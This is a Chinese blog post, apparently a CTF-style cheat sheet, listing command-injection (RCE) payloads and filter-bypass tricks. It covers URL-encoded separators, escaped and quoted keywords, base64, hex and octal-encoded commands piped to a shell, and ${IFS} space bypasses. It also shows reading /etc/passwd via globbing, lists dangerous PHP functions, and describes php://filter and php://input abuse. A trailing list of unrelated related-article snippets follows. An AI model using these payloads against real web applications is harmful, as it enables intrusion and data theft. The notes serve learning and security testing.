rce 漏洞

这篇具有很好参考价值的文章主要介绍了rce 漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

过滤分隔符 ;
1,可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号

功能 符号 payload
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道 | ?1=123|pwd
逻辑运算 ||或&& ?1=123&&pwd

;    //分号
|    //把前面输出的当作后面的输入 (管道符)
||    //前面为假才执行后面的指令
&    //两条命令都会执行
&&    //前面为假,后面不执行

1、过滤cat、flag等关键字
1.1 常见linux系统命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings
rev

1.2 使用转义符
ca\t fl\ag ;

1.3 使用引号
ca''t  fl''ag;

1.4 内联执行绕过
拼接 flag

?code=a=ag;b=fl;cat $b$a;   //相当于 cat flag

第二种:

//当前目录下有 index.php、flag.php
cat `ls`;
//相当于 cat index.php;cat flag.php, 将ls命令的结果给cat去执行

1.5 编码绕过
base64编码

[root~]# echo 'cat flag.txt' | base64
Y2F0IGZsYWcudHh0Cg==
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d
cat flag.txt
    
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d | sh
flag{flag_is_here}
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d | bash
flag{flag_is_here}

1.6 进制绕过
16进制

[root~]# echo cat flag.txt | xxd 
6361 7420 666c 6167 2e74 7874 0a
[root~]# echo 6361 7420 666c 6167 2e74 7874 0a | xxd -r -p
cat flag.txt
[root~]# echo 6361 7420 666c 6167 2e74 7874 0a | xxd -r -p | bash  或 | sh
flag{flag_is_here}


[root~]# $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")  //cat flag.txt 16进制
flag{flag_is_here}

8进制

[root~]# $(printf "\143\141\164\40\146\154\141\147\56\164\170\164")  
flag{flag_is_here}

1.7 过滤文件名(如: /etc/passwd文件)
1) 利用正则匹配绕过

[root~]# cat /???/pass*

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

[root~]# cat /etc$u/passwd

1.8 使用$*和$@,$x,${x}


1.9 读取文件命令
curl file:///root/Desktop/flag.txt
strings flag.txt
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd
sort flag.txt
 

1.10 查找文件命令(find)
# find . -name f*   //查找当前目录下f开头的文件
./flag.txt

2、rce常见php函数
system()  执行命令
passthru()
exec()
shell_exec()
popen()
pcntl_exec()
反引号  同shell_exec()
eval()  执行命令
show_source() 高亮显示文件
highlight_file()  高亮显示文件
array_reverse()  反向输出元素
pos()  输出当前元素的值
localeconv()  返回一包含本地数字及货币格式信息的数组
include  一般用于括号被过滤的情况,因为可以不用括号
require  一般用于括号被过滤的情况,因为可以不用括号
echo()  输出
next()  下一个元素

3、rce常见linux系统命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings
rev    反过来输出文件内容

4、过滤空格
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag) 输入重定向
{cat,flag}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

eg.
{ls,}
{cat,flags}
{mv,flags,flag}

(1) eval执行

eval()函数

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行

php://input

用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.

因此可以用php://input 来执行post输入流的命令

(4) 读取源代码(php://filter)
和上一题一样,也是考察我们对php伪协议的了解。

我们可以通过filter协议来读取网页源代码。

题目提示 flag in /flag   flag在/flag文件里

?file=php://filter/read=convert.base64-encode/resource=/flag

(5) 远程包含(php://input)

远程文件包含:

        指定第三方服务器上可运行的php木马,拿到webshell,查看Flag文件。

(7) 过滤cat
老办法,管道符执行我们命令之后,可知

flag 在当前目录的 flag_7709325353056.php文件里

不过看源码可知,flag被过滤了。可以用tac绕过 (head,tail,nl,vim,less,more等等都可以)

传入 127.0.0.1 | tac flag_7709325353056.php

查看源代码,发现flag

空格过滤绕过:

${IFS}

$IFS$9

%09

%20

<>

<

可以尝试上面绕过空格。

传入 127.0.0.1|cat${IFS}flag_628186223836.php文章来源地址https://www.toymoban.com/news/detail-469342.html

到了这里,关于rce 漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Hive建表时,指定分隔符

     一.建表语句 二.语句分析 ROW FORMAT DELIMITED FIELDS TERMINATED BY \\\',\\\' : 这个子句表明Hive将使用 \\\',\\\' 字符作为列分隔符,即分隔字段。 ROW FORMAT DELIMITED COLLECTION items terminated BY \\\'_\\\'  :这个子句表明Hive将使用 \\\'_\\\' 作为集合元素间的分隔符。 ROW FORMAT DELIMITED MAP KEYS TERMINATED BY \\\':\\\' :这个

    2024年02月11日
    浏览(39)
  • word的分隔符和分页符

    分隔符和分页符在Word中都是用于文本分段的工具,但它们的用途和操作方式有所不同。 分隔符是一个广义的概念,包括分页符、分节符和分栏符等。它是一种统称,可以将一个完整的文本内容分成两个或更多的部分。在将表格转换为文本时,分隔符用于标识文字分隔的位置

    2024年02月08日
    浏览(35)
  • 力扣2788-按分隔符拆分字符串

    题目链接 解题思路: 1 .传参是一个字符串数组,我们需要对每一个字符串处理 2 .解题中e是字符串数组中的每一个字符串 3 .i是每个字符串的下标,n为每个字符串的大小 4 .遍历整个字符串 5 .start是要切割的位置

    2024年01月20日
    浏览(39)
  • leetcode-2788按分隔符拆分字符串

    题目链接 2788. 按分隔符拆分字符串 - 力扣(LeetCode) 解题思路

    2024年01月21日
    浏览(35)
  • day-15 按分隔符拆分字符串

    思路 依次对words的每个字符进行split(),然后将非空的加入List 解题方法 String arr[]=s.split(ss);利用split()方法将words的每个字符串划分为String数组 if(arr[i]!=“”) //将非空的加入 list.add(arr[i]); String ss=“”+separator; //使用转义字符 时间复杂度: O(mn) 空间复杂度: O(n) Code

    2024年01月20日
    浏览(35)
  • LeetCode.2788. 按分隔符拆分字符串

    题目链接 题目的意思是给我们一个字符串数组和一个分隔符,让我们按照分隔符把字符串数组分割成新的字符串数组。 看到这个描述,这不就是直接就是利用 按照分隔符分割字符串的系统库函数split() ,这个函数的意思就是 把一个字符串按照你给定的分隔符分割成字符串数

    2024年01月23日
    浏览(65)
  • Leetcode 2788. 按分隔符拆分字符串

    我们可以先自己模拟一下分隔字符串的过程。如果只是简单的,遇到分隔符,将分隔符前后的子串加入结果的List,那么很显然并没有考虑到一个String中有多个字符串的情况。一种比较容易想到的方法是: 先对List中每个字符串遍历; 对于每个字符串内部,维护一个缓冲区;

    2024年01月21日
    浏览(36)
  • 最优字符串分隔符:零宽度空格和字符

    在文本处理和格式化中,选择合适的分隔符是至关重要的。 本文将在介绍两个不常见但功能强大的分隔符:零宽度空格和𐀀字符。 零宽度空格是Unicode字符集中的一个特殊字符,其Unicode编码为U+200B。 零宽度空格在文本中不占据任何宽度,因此是一个不可见的分隔符。 主要应

    2024年02月21日
    浏览(33)
  • Java8 List集合如何指定打印分隔符

    背景 无论是在学习还是日常的应用开发过程中,我们经常会需要使用分隔符将 List 集合打印出来。 如下所示: 执行结果如下: 如果我们想在打印的时候不打印 [] ,然后将分隔符换成 、 顿号,应该怎么操作呢? 其实有两种方法可以实现: 方法一:String.join(推荐) String

    2024年02月10日
    浏览(36)
  • 在 Python 中拆分具有多个分隔符的字符串

    要使用多个定界符拆分字符串: 使用 re.split() 方法,例如 re.split(r\\\',|-\\\', my_str) 。 re.split() 方法将拆分所有出现的分隔符之一的字符串。 re.split 方法接受一个模式和一个字符串,并在每次出现该模式时拆分字符串。 管道 | 字符是一个或。 匹配 A 或 B。 该示例使用 2 个分隔符(

    2024年02月15日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包